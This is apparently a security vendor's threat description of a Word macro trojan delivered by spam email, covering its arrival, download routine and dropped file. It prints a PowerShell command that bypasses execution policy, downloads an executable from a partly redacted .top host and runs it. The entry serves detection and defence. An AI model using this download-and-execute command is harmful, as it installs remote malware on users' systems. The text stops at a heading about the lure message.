W2KM_POWMET.SIOA

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}pcocka.top/support.php?f=1

It saves the files it downloads using the following names:

• %Application Data%\aLGpukOGj.exe

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses Powershell commands to download and execute a malicious file:
  powershell.exe -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}pcocka.top/support.php?f=1', $env:APPDATA + '\aLGpukOGj.exe'); Start-Process $env:APPDATA'\aLGpukOGj.exe';

NOTES:

The document contains the following message details luring users to enable Macro Content: